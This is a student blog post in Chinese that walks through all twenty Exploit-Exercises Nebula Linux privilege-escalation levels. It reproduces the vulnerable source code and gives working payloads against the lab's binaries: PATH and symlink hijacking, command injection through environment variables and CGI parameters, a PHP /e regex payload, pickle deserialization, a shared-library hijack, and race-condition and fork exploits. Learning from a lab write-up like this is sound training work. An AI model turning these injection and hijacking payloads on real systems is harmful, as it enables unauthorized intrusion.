免考final linux提权与渗透入门——Exploit-Exercise Nebula学习与实践

免考final linux提权与渗透入门——Exploit-Exercise Nebula学习与实践

0x0 前言

Exploit-Exercise是一系列学习linux下渗透的虚拟环境,官网是https://exploit-exercises.com/,通过它可以学习提权,漏洞利用,逆向等知识

我们这里尝试的是Nebula,是一个涵盖初级、中级挑战任务的练习环境,一个有20个关卡。涉及到的知识点有:

  • SUID文件(SUID files)
  • 权限(Permission)
  • 竞态条件(Race conditions)
  • Shell编程(Shell)
  • $PATH缺陷($PATH weaknesses)
  • 脚本语言缺陷(Scripting language weakness)
  • 二进制编译漏洞(Binary compilation failures)

网上有详细的Nebula通关教程,我希望通过这次实验,提升自己linux下渗透的本领,掌握一些linux本地和远程攻击的基本知识。

0x1 通关流程

我参照网上给出的教程,来尝试完成Nebula的20个关卡。有兴趣的同学可以找我拷贝Nebula的镜像。i春秋上也有Nebula的在线环境练习。

每一个关卡level对应一个账号:levelXX/levelXX(用户名和口令是一样的)比如第5关的账号就是 level05/level05。登录之后,进入/home/flagXX的目录下,与该关卡有关的东西都在这里。

官网中的Nebula页面中有每道题的程序源码。

每一关提权成功之后,需要执行/bin/getflag/,如果提权是成功的,会提示“You have successfully executed getflag on a target account”,否则提示“getflag is executing on a non-flag accont, this doesn't count”

level00——找特权程序

本关卡需要找到一个以“flag00”账号运行的可执行程序。关键是对find命令和uid知识的掌握。

我们先看看flag00的UID是什么,输入cat /etc/passwd | grep flag00

00-1

flag00的UID和GID都是999。

接着通过find命令从根目录开始查找,输入find / -uid 999 2> /dev/null

(我们把标准错误输出扔到/dev/null黑洞里去)

00-2

无论是/bin/.../flag00,还是/rofs/bin/.../flag00都符合要求,任意执行一个即可。接着运行/bin/getflag成功通关。

00-3

level01——环境变量

本题开始,需要我们对源码进行分析了,官网提供的源代码如下:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  gid_t gid;
  uid_t uid;
  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  system("/usr/bin/env echo and now what?");
}

这就是我们flag01程序的源代码。这里的system调用,执行了env程序。

env用来显示环境变量,以及在定义的环境中执行程序。env需要根据环境变量PATH来查找程序的路径。

即便是system中的参数是“硬编码”的,我们也有办法执行任意文件。

01-1

我们看到flag01程序的权限就是flag01,我们的目标就是通过它来执行/bin/getflag

01-2

这一系列手段非常有参考意义。/tmp目录对所有用户都有完整的权限。

我们首先在/tmp下建立一个指向/bin/getflag的软链接echo,然后将/tmp目录放到环境变量PATH的最前面。

这样,env程序在查找echo的时候会首先找到/tmp下的“伪装”echo并执行。

通过这样的手法,可以执行其他的可执行程序。

level02——执行任意文件

老样子,从代码中发现漏洞,本关卡的程序源码如下:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  char *buffer;

  gid_t gid;
  uid_t uid;

  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  buffer = NULL;

  asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
  printf("about to call system(\"%s\")\n", buffer);
  
  system(buffer);
}

asprintf是GNU扩展的C函数,它将格式化字符串放到buffer中。getenv函数获取环境变量USER的值。

由于环境变量USER是可以自己设置的,我们把USER设置为;/bin/getflag

这样,执行了echo命令后,就会执行/bing/getflag,达到level02的要求。

02-1

level03——计划任务

这个关卡有一个计划任务,每隔2分钟执行/home/flag03目录下的writable.sh。

我们可以看到writeable.sh的内容。

03-1

这个脚本会自动执行writable.d里面的所有文件,接着有删除这个脚本。

而计划任务crontab是flag03用户创建的,我们可以在writable.d中创建脚本来完成操作。

03-2

我们在writable.d的目录下创建一个run脚本。

/bin/getflag > /tmp/20155110wangyifan

这个脚本执行/bin/getflag,并把结果重定向到/tmp/20155110wangyifan文件中。

等待两分钟,我们在/tmp目录下发现20155110wangyifan这个文件。

03-3

也就是说crontable自动执行了/bin/getflag程序

level04——越权获得token

这个关卡需要我们获取token文本文件的内容。目前我们的权限是读取不了的。

04-1

除了root权限外,只要flag04用户可以对它进行读写操作。这里有一个flag04程序,我们需要利用这个程序的漏洞,来获得token。

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>

int main(int argc, char **argv, char **envp)
{
  char buf[1024];
  int fd, rc;

  if(argc == 1) {
      printf("%s [file to read]\n", argv[0]);
      exit(EXIT_FAILURE);
  }

  if(strstr(argv[1], "token") != NULL) {
      printf("You may not access '%s'\n", argv[1]);
      exit(EXIT_FAILURE);
  }

  fd = open(argv[1], O_RDONLY);
  if(fd == -1) {
      err(EXIT_FAILURE, "Unable to open %s", argv[1]);
  }

  rc = read(fd, buf, sizeof(buf));
  
  if(rc == -1) {
      err(EXIT_FAILURE, "Unable to read fd %d", fd);
  }

  write(1, buf, rc);
}

注意这段代码:

  if(strstr(argv[1], "token") != NULL) {
      printf("You may not access '%s'\n", argv[1]);
      exit(EXIT_FAILURE);
  }

  fd = open(argv[1], O_RDONLY);

flag04会把命令行参数作为文件名并打开,但是文件名不能包含“token”字符串,否则会退出程序。

还是祭出我们的软链接大法,迷惑flag04程序。

04-2

这就是flag04账号的密码,登录flag04账号执行getflag,完成这一关的任务

level05——ssh密钥窃取

在这一关,我们需要找到一个弱权限的目录,然后通过它来提权。

我们需要关注的是.backup和.ssh这两个目录。

05-1

.ssh目录我们进不去。只能先在.backup目录里面探索一下。

05-2

我们把backup-19072011.tgz解压到/tmp目录下(因为权限不过无法在当前目录解压)

05-3

原来是ssh的公钥和私钥!直接把它copy到/home/level05然后ssh登录flag05的账号就能完成此关卡了!

05-4

ssh登录后执行getflag,完成这关。

05-5

level06——linux登录密码

在本关卡中,flag06账号的认字凭证是存储在/etc/passwd中的(当然现在的linux都把密码放在/etc/shadow中,比/etc/passwd安全一些)

我们先读取flag06的密码散列值

06-1

然后我们就要祭出Kali,用john这个口令破解工具弄出flag06账号的密码

06-2

so easy!密码就是hello,直接登录flag06的账号,可以通过此关。

06-3

level07——Perl脚本漏洞

在这关中,我们的攻击对象是一个perl编写的cgi程序。

训练环境的IP配置为192.168.56.102

#!/usr/bin/perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub ping {
  $host = $_[0];

  print("<html><head><title>Ping results</title></head><body><pre>");

  @output = `ping -c 3 $host 2>&1`;
  foreach $line (@output) { print "$line"; }

  print("</pre></body></html>");
  
}

# check if Host set. if not, display normal page, etc

ping(param("Host"));

配置文件thttpd.conf显示开放的端口号是7007。

07-1

这段perl脚本的功能是调用外部的ping命令去ping指定的IP。接收的参数名为"Host"

 @output = `ping -c 3 $host 2>&1`;

这段代码调用了外部命令,我们可以来一次 典型的命令注入

首先确认cgi程序的权限,在浏览器中输入

192.168.56.102:7007/index.cgi?Host=127.0.0.1%3Bwhoami

07-2

我们看到CGI程序就是以flag07的用户权限运行的。

我们直接运行目标程序getflag即可

192.168.56.102:7007/index.cgi?Host=127.0.0.1%3B/bin/getflag

07-3

我们通过 命令注入成功通关。

level08——TCP数据包分析

这个关卡中我们需要分析一个capture.pcap的数据包。

我们把训练环境的文件弄到本地来。然后用wireshark分析一下。

08-1

我们使用wireshark的“分析——追踪TCP流功能”

08-2

这是一个交互式登录的抓包。我们使用 Hex dump方式看password字段。

08-4

我们对照ascii表,7F是del删除,也就是说用户输入backdoor后,又删除了三个字符,接着输入00Rm8,又删除了一个字符,最后输入ate并敲下回车。

所以,最后的password就是backd00Rmate

08-3

我们用这个password登陆flag08账号,顺利通关。

level09——攻击php代码

我们在这一关卡需要攻击一个有漏洞的php代码。

<?php

function spam($email)
{
  $email = preg_replace("/\./", " dot ", $email);
  $email = preg_replace("/@/", " AT ", $email);
  
  return $email;
}

function markup($filename, $use_me)
{
  $contents = file_get_contents($filename);

  $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
  $contents = preg_replace("/\[/", "<", $contents);
  $contents = preg_replace("/\]/", ">", $contents);

  return $contents;
}

$output = markup($argv[1], $argv[2]);

print $output;

?>

这段代码中的正则表达式会将[email xxx@xxx.xxx]中的“.”替换成“dot”,将“@”替换成“AT”,也就是变成xxx AT xxx dot xxx

我们注意到这一句代码:


$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);

preg_replace第一参数使用了/e模式,preg_replace的第二个参数会作为代码执行。

我们将用php中的system函数执行外部的shell命令

将下面的内容写到文件/tmp/wyf中去

[email "{${system(getflag)}}"]

09-1

接着执行flag09程序以后,getflag程序也被调用,我们成功通关

level10——竞态条件漏洞

在本关卡的/home/flag10目录下有两个文件:flag10和token。

官网提示,这里是一个文件访问的竞态条件漏洞,去获取token的内容。

我们先看看完整的源代码:


#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(int argc, char **argv)
{
  char *file;
  char *host;

  if(argc < 3) {
      printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
      exit(1);
  }

  file = argv[1];
  host = argv[2];

  if(access(argv[1], R_OK) == 0) {
      int fd;
      int ffd;
      int rc;
      struct sockaddr_in sin;
      char buffer[4096];

      printf("Connecting to %s:18211 .. ", host); fflush(stdout);

      fd = socket(AF_INET, SOCK_STREAM, 0);

      memset(&sin, 0, sizeof(struct sockaddr_in));
      sin.sin_family = AF_INET;
      sin.sin_addr.s_addr = inet_addr(host);
      sin.sin_port = htons(18211);

      if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
          printf("Unable to connect to host %s\n", host);
          exit(EXIT_FAILURE);
      }

#define HITHERE ".oO Oo.\n"
      if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
          printf("Unable to write banner to host %s\n", host);
          exit(EXIT_FAILURE);
      }
#undef HITHERE

      printf("Connected!\nSending file .. "); fflush(stdout);

      ffd = open(file, O_RDONLY);
      if(ffd == -1) {
          printf("Damn. Unable to open file\n");
          exit(EXIT_FAILURE);
      }

      rc = read(ffd, buffer, sizeof(buffer));
      if(rc == -1) {
          printf("Unable to read from file: %s\n", strerror(errno));
          exit(EXIT_FAILURE);
      }

      write(fd, buffer, rc);

      printf("wrote file!\n");

  } else {
      printf("You don't have access to %s\n", file);
  }
}

注意access函数,当前用户访问某个文件时,返回值为0,才会有后面这一大段代码。

	if(access(argv[1], R_OK) == 0) {

		....	

	} else {
    	printf("You don't have access to %s\n", file);
	}

如果没有访问权限,就会输出"You don't have access to <文件名>"

这段代码会建立一个socket通讯,并在18211端口上进行监听,然后打开指定的文件并把内容发送到通讯连接中。

我们的思路是这样的:

  1. 在本地用netcat监听端口
  2. 让flag10去access一个当前用户有权限访问的文件/tmp/fake_token
  3. 删掉刚才的/tmp/fake_token,再建立一个指向/home/flag10/token的软链接

我们先完成第一步,netcat监听

10-1

然后再另一个终端tty2下建立文件/tmp/fake_token

10-1-0

我们再写一个不断建立软链接的bash脚本

10-2

执行这个脚本,编写下面的脚本。

10-3

接着运行脚本,我们在看看nc收到的结果:

10-4

这就是flag10的登录密码,登录flag10账号后,执行getflag即可。

level11——任意文件可执行漏洞

在这一关卡,我们需要攻击一个flag11的可执行程序。它的源代码如下:

官网说此关卡有两种方法可以通过

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>

/*
 * Return a random, non predictable file, and return the file descriptor for it.
 */

int getrand(char **path)
{
  char *tmp;
  int pid;
  int fd;

  srandom(time(NULL));

  tmp = getenv("TEMP");
  pid = getpid();
  
  asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
      'A' + (random() % 26), '0' + (random() % 10),
      'a' + (random() % 26), 'A' + (random() % 26),
      '0' + (random() % 10), 'a' + (random() % 26));

  fd = open(*path, O_CREAT|O_RDWR, 0600);
  unlink(*path);
  return fd;
}

void process(char *buffer, int length)
{
  unsigned int key;
  int i;

  key = length & 0xff;

  for(i = 0; i < length; i++) {
      buffer[i] ^= key;
      key -= buffer[i];
  }

  system(buffer);
}

#define CL "Content-Length: "

int main(int argc, char **argv)
{
  char line[256];
  char buf[1024];
  char *mem;
  int length;
  int fd;
  char *path;

  if(fgets(line, sizeof(line), stdin) == NULL) {
      errx(1, "reading from stdin");
  }

  if(strncmp(line, CL, strlen(CL)) != 0) {
      errx(1, "invalid header");
  }

  length = atoi(line + strlen(CL));
  
  if(length < sizeof(buf)) {
      if(fread(buf, length, 1, stdin) != length) {
          err(1, "fread length");
      }
      process(buf, length);
  } else {
      int blue = length;
      int pink;

      fd = getrand(&path);

      while(blue > 0) {
          printf("blue = %d, length = %d, ", blue, length);

          pink = fread(buf, 1, sizeof(buf), stdin);
          printf("pink = %d\n", pink);

          if(pink <= 0) {
              err(1, "fread fail(blue = %d, length = %d)", blue, length);
          }
          write(fd, buf, pink);

          blue -= pink;
      }    

      mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
      if(mem == MAP_FAILED) {
          err(1, "mmap");
      }
      process(mem, length);
  }

}

这段代码比较长,我们直接定位有问题的代码段


void process(char *buffer, int length)
{
  unsigned int key;
  int i;

  key = length & 0xff;

  for(i = 0; i < length; i++) {
      buffer[i] ^= key;
      key -= buffer[i];
  }

  system(buffer);
}

这里的buffer作为system的参数,是可控制的,但是这里的buffer的内容有点复杂,它在之前经过了“异或”加密。

非常简单,我们对要执行的命令在进行一次异或,就可以还原了。

我们的攻击代码如下:

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
	int length = 1024;
	// 要执行的命令
	char *cmd = "getflag";
	char buf[1024];
	int key = length & 0xff;
	int i = 0;
	// 把“ getflag” 字符串拷贝到 buf 里,其余空间空字节填充
	strncpy(buf,cmd,1024);
	for(; i<length; i++)
	{	
		buf[i] ^= key;
		// 一定要 buf[i]^key 才可得到正确的 key ,上面那句代码才可正确执行
		key = key - (buf[i] ^ key);
	}
	// 输出至标准输出
	puts("Content-Length: 1024");
	fwrite(buf,1,length,stdout);
	return 0;
}

注意代码里面还设置了环境变量TEMP

tmp = getenv("TEMP");

接着在系统中输入如下命令

$ export TEMP=/tmp
$ gcc -o /tmp/attack /tmp/attack.c
$ cd /home/flag11
$ /tmp/attack | ./flag11 
blue = 1024, length = 1024, pink = 1024
You have successfully executed getflag on a target account

我们成功通关此关卡。

level12——攻击Lua脚本

本关卡给出了一个lua写的socket程序,虽然我不会lua语言,但是通过猜测还是能看懂个大概的。

题目描述是一个监听在50001端口的backdoor。

local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 50001))

function hash(password)
  prog = io.popen("echo "..password.." | sha1sum", "r")
  data = prog:read("*all")
  prog:close()

  data = string.sub(data, 1, 40)

  return data
end


while 1 do
  local client = server:accept()
  client:send("Password: ")
  client:settimeout(60)
  local line, err = client:receive()
  if not err then
      print("trying " .. line) -- log from where ;\
      local h = hash(line)

      if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then
          client:send("Better luck next time\n");
      else
          client:send("Congrats, your token is 413**CARRIER LOST**\n")
      end

  end

  client:close()
end

注意到这条语句


prog = io.popen("echo "..password.."| sha1sum", "r")

这个地方存在明显的 命令注入

telnet 127.0.0.1 50001,构造payload

;/bin/getflag > /tmp/wyf5110

12-1

我们成功执行了getflag程序,通过本关。

level13——简单的调试

我们在这一关需要破解下面的程序。

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <string.h>

#define FAKEUID 1000

int main(int argc, char **argv, char **envp)
{
  int c;
  char token[256];

  if(getuid() != FAKEUID) {
      printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID);
      printf("The system administrators will be notified of this violation\n");
      exit(EXIT_FAILURE);
  }

  // snip, sorry :)

  printf("your token is %s\n", token);
  
}

也就是说如果UID不是1000的话,我们得不到token的值。

现在,我们直接使用gdb调试这个程序(当然你也可以直接用IDA静态反汇编)

13-1

找到getuid函数的位置以后,在下一条指令的地方设置断点。然后运行。

函数的返回值在%eax寄存器中,我们发现这个uid的值是1014。

13-2

我们直接设置%eax寄存器的值为1000即可。

13-3

我们看到了token的值为b705702b-76a8-42b0-8844-3adabbe5ac58

用它登录flag13账号,执行getflag程序通过此关。

13-4

level14——破解加密程序

在这关,token文件是被flag14程序加密过的,我们需要解密token。

我们看看这个程序是怎么加密的。

14-1

显然,这个加密算法非常简单,第0位的字符加0,第1位的字符加1,...,第i位的字符加i,以此类推。

我们直接编写解密程序即可。

//dec.c

#include <stdio.h>
#include <string.h>
int main()
{
	char buf[1000];
	scanf("%s", buf);
	
	int i;
	for (i = 0; i < strlen(buf); i++) {
		buf[i] -= i;
	}
	
	puts(buf);	
	return 0;
}

14-2

我们成功得到flag,然后用它登录flag14账号执行getflag即可。

14-3

level15——linx下共享库劫持

官网直接给出提示,用strace工具追踪so使用情况。

15-1

提示没有找到libc.so.6,既然没有,我们就自己写一个让它找到。

建立目录/var/tmp/flag15,并编写如下的代码

#include <stdio.h>

void __attribute__((constructor)) init()
{
	system("/bin/getflag");
}

15-2

提示symbol __cxa_finalize,我再定义一个__cxa_finalize函数。

	
#include <stdio.h>

void __cxa_finalize(void)
{
	return;
}

void __attribute__((constructor)) init()
{
	system();
}

我们还要用汇编语言自己实现一个system函数。

.section .text
.globl system
system:

mov $getflag, %ebx
xor %edx, %edx # 异或清空 edx ,作为空参数
push %edx
push %ebx
mov %esp, %ecx
mov $11, %eax # 调用 execve 中断
int $0x80

.section .data
getflag: .ascii "/bin/getflag\0" 

最后,我们成功劫持了共享库的调用。

15-3

这一关的技术含量非常高,我们目前还没有完全理解

level16——再次攻击perl语言CGI程序

在这一关中,我们继续攻击一个perl语言的CGI程序

#!/usr/bin/env perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub login {
  $username = $_[0];
  $password = $_[1];

  $username =~ tr/a-z/A-Z/; # conver to uppercase
  $username =~ s/\s.*//;        # strip everything after a space

  @output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
  foreach $line (@output) {
      ($usr, $pw) = split(/:/, $line);
  

      if($pw =~ $password) {
          return 1;
      }
  }

  return 0;
}

sub htmlz {
  print("<html><head><title>Login resuls</title></head><body>");
  if($_[0] == 1) {
      print("Your login was accepted<br/>");
  } else {
      print("Your login failed<br/>");
  }    
  print("Would you like a cookie?<br/><br/></body></html>\n");
}

htmlz(login(param("username"), param("password")));

这段代码的问题就在于它有调用了外部shell命令。

  @output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;

但是,这里对用户名做了限制,不仅将其转换为大写,而且去掉第一个空格之后的所有内容。

我们先建立这样一个脚本/tmp/wyf

16-1

构造payload为

"</DEV/NULL;CMD=/TMP/WYF;${CMD,,};#

为了方便,我们直接写一个表单提交数据。

16-2

我们这是可以看到,getflag程序已经执行了。

16-3

这又是一个绕过正则表达式的 命令注入

level17——python的pickle格式漏洞

我们要分析一个在10007端口监听的python脚本。

#!/usr/bin/python

import os
import pickle
import time
import socket
import signal

signal.signal(signal.SIGCHLD, signal.SIG_IGN)

def server(skt):
  line = skt.recv(1024)

  obj = pickle.loads(line)

  for i in obj:
      clnt.send("why did you send me " + i + "?\n")

skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
skt.bind(('0.0.0.0', 10007))
skt.listen(10)

while True:
  clnt, addr = skt.accept()

  if(os.fork() == 0):
      clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1]))
      server(clnt)
      exit(1)

由于我对python不熟悉,这一关的原理也没弄明白。

这应该是一个反序列化的漏洞,先按照教程完成这一关卡吧。

构造下面的payload

cos
system
(S'getflag>/tmp/result'
tR.

17-1

level18——资源未释放漏洞

这关非常特殊,有三种解决方法,最简单的是耗尽系统资源。

当然也有格式化字符串漏洞,栈溢出漏洞。

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <getopt.h>

struct {
  FILE *debugfile;
  int verbose;
  int loggedin;
} globals;

#define dprintf(...) if(globals.debugfile) \
  fprintf(globals.debugfile, __VA_ARGS__)
#define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) \
  fprintf(globals.debugfile, __VA_ARGS__)

#define PWFILE "/home/flag18/password"

void login(char *pw)
{
  FILE *fp;

  fp = fopen(PWFILE, "r");
  if(fp) {
      char file[64];

      if(fgets(file, sizeof(file) - 1, fp) == NULL) {
          dprintf("Unable to read password file %s\n", PWFILE);
          return;
      }
                fclose(fp);
      if(strcmp(pw, file) != 0) return;       
  }
  dprintf("logged in successfully (with%s password file)\n",
      fp == NULL ? "out" : "");
  
  globals.loggedin = 1;

}

void notsupported(char *what)
{
  char *buffer = NULL;
  asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what);
  dprintf(what);
  free(buffer);
}

void setuser(char *user)
{
  char msg[128];

  sprintf(msg, "unable to set user to '%s' -- not supported.\n", user);
  printf("%s\n", msg);

}

int main(int argc, char **argv, char **envp)
{
  char c;

  while((c = getopt(argc, argv, "d:v")) != -1) {
      switch(c) {
          case 'd':
              globals.debugfile = fopen(optarg, "w+");
              if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg);
              setvbuf(globals.debugfile, NULL, _IONBF, 0);
              break;
          case 'v':
              globals.verbose++;
              break;
      }
  }

  dprintf("Starting up. Verbose level = %d\n", globals.verbose);

  setresgid(getegid(), getegid(), getegid());
  setresuid(geteuid(), geteuid(), geteuid());
  
  while(1) {
      char line[256];
      char *p, *q;

      q = fgets(line, sizeof(line)-1, stdin);
      if(q == NULL) break;
      p = strchr(line, '\n'); if(p) *p = 0;
      p = strchr(line, '\r'); if(p) *p = 0;

      dvprintf(2, "got [%s] as input\n", line);

      if(strncmp(line, "login", 5) == 0) {
          dvprintf(3, "attempting to login\n");
          login(line + 6);
      } else if(strncmp(line, "logout", 6) == 0) {
          globals.loggedin = 0;
      } else if(strncmp(line, "shell", 5) == 0) {
          dvprintf(3, "attempting to start shell\n");
          if(globals.loggedin) {
              execve("/bin/sh", argv, envp);
              err(1, "unable to execve");
          }
          dprintf("Permission denied\n");
      } else if(strncmp(line, "logout", 4) == 0) {
          globals.loggedin = 0;
      } else if(strncmp(line, "closelog", 8) == 0) {
          if(globals.debugfile) fclose(globals.debugfile);
          globals.debugfile = NULL;
      } else if(strncmp(line, "site exec", 9) == 0) {
          notsupported(line + 10);
      } else if(strncmp(line, "setuser", 7) == 0) {
          setuser(line + 8);
      }
  }

  return 0;
}

linux默认只能打开1024个文件描述符,但是stdin,stdout,stderr已经各占用了一个。最终供程序使用的只有1021个。

我们需要做的就是耗尽程序的资源,先输入

for i in {0..1020}; do echo 'login wyf5110' >> /tmp/login; done;

将1021个login wyf5110放到/tmp/login中。

再执行

cat /tmp/login | /home/flag18/flag18 -d /tmp/debug 

查看/tmp/debug的内容

18-1

根据输出内容,我们知道登录成功了。应该可以执行shell命令。

我们追加一个shell,然后再执行flag18程序。

18-2

看到这个结果,是因为文件描述符用尽了。

我们看源码中的这一部分

      } else if(strncmp(line, "closelog", 8) == 0) {
          if(globals.debugfile) fclose(globals.debugfile);
          globals.debugfile = NULL;
      }

也就是说添加closelog可以释放一个文件描述符。我们再次修改/tmp/login

18-3

然后执行

cat login | /home/flag18/flag18 --init-file -d debug

但是出现了下面的问题。

18-4

我们可以这么操作

18-5

既然找不到Starting命令,我们就攻击环境变量,将Starting指向恶意脚本

再次运行程序,查看/tmp/output文件,我们可以知道/bin/getflag已经被执行了

18-6

level19——突破进程

终于来到最后一关了,这一关要求我们攻破下面的程序。

程序的源代码如下:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>

int main(int argc, char **argv, char **envp)
{
  pid_t pid;
  char buf[256];
  struct stat statbuf;

  /* Get the parent's /proc entry, so we can verify its user id */

  snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid());

  /* stat() it */

  if(stat(buf, &statbuf) == -1) {
      printf("Unable to check parent process\n");
      exit(EXIT_FAILURE);
  }

  /* check the owner id */

  if(statbuf.st_uid == 0) {
      /* If root started us, it is ok to start the shell */

      execve("/bin/sh", argv, envp);
      err(1, "Unable to execve");
  }

  printf("You are unauthorized to run this program\n");
}

这段程序的逻辑是这样的:

  • 先通过getppid()函数得到父进程pid号
  • 根据pid号找到/proc下当前pid号的目录
  • 如果属于root,就执行shell

我们需要利用“孤儿进程”的特点来突破这段程序

孤儿进程的父进程init的uid绝对是0

编写攻击代码如下

//attack.c

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
int main(void)
{
	pid_t pid;
	pid = fork();
	char *argvs[] = {"/bin/sh","-c","getflag>/tmp/flag19_output",NULL}; 
	if(pid == 0) 
	{
		execve("/home/flag19/flag19",argvs,NULL);
	} else if(pid > 0) {
		exit(0);
	}
	return 0;
}

这段攻击代码,利用fork出来的子进程执行getflag程序,并将结果重定向到/tmp/flag19_output文件中。

19-1

至此,我们成功通关nebula的全部20个关卡!

心得与体会

实话实说,exploit-exercise nebula的这20个练习让我感受到了自己 离技术的门槛还很遥远

其中的一系列linux提权和任意文件执行的技巧令我印象深刻——软链接大法,python反序列化漏洞,CGI程序的命令注入,共享库劫持,gdb调试……

很多练习以我的能力是不可能做出来的,在参考了网上的教程以后,我能够 大体感受到其中的 美妙之处

之前的实验,我们只是浅尝辄止地使用一些工具而已,我们对工具的应用也是浮于表面的,尽管能熟练使用工具并玩到极致的话,也可以弄出花样来。

这次的final让我彻底明白,只有对计算机足够精通,才能真正主宰一切,而这条道路对我们来说非常漫长。

不过,能够在本学期的课程中对计算机安全技术初窥门径,我已经很满足了。

posted @ 2018-06-01 11:20  20155110wangyifan  阅读(1658)  评论(0编辑  收藏